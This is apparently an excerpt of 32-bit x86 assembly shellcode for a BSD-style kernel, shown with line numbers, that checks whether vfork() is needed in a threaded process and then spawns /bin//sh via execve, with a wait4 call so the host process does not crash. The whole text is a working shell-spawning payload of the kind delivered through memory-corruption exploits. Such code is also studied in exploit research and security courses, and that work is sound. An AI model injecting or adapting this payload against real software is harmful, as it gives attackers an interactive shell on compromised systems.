1
_shell:
2
	;; Test if vfork() will be needed.  If execve(0, 0, 0) fails with
3
	;; ENOTSUP, then we are in a threaded process and need to call 
4
	;; vfork().
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	xor	eax, eax
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	push	eax	; envp
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	push	eax	; argv
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	push	eax	; path
9
	push	eax
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        mov     al, 59  ; SYS_execve
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        int     0x80
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	nop
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	nop
14
	cmp	al, 45	; ENOTSUP
15
	jne	.execve_binsh
16
		
17
.vfork:
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	mov	al, 66	; SYS_vfork
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	int	0x80	; vfork()
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	cmp	edx, byte 0
21
	jz	.wait
22
	
23
	;; Both child and parent continue to run execve below.  The parent
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	;; fails and falls through to call wait4(), the child succeeds
25
	;; and obviously doesn't call wait4() since it has exec'd a new
26
	;; executable.
27

28
.execve_binsh:
29
	xor	eax, eax
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	push	eax	   ; "\0\0\0\0"
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	push	0x68732f2f ; "//sh"
32
	push	0x6e69622f ; "/bin"
33
	mov	ebx, esp
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	push	eax	; envp
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	push	eax	; argv
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	push	ebx	; path
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	push	eax	; spacer
38
	mov	al, 59	; SYS_execve
39
	int	0x80
40

41
.wait:
42
	;; Wait for child process to exit before continuing and crashing
43
	xor	eax, eax
44
	push	eax
45
	mov	ebx, esp
46

47
	push	eax	; rusage
48
	push	eax	; options
49
	push	ebx	; stat_loc
50
	push	eax	; pid
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	push	eax	; spacer
52
	mov	al, 7
53
	int	0x80
54

55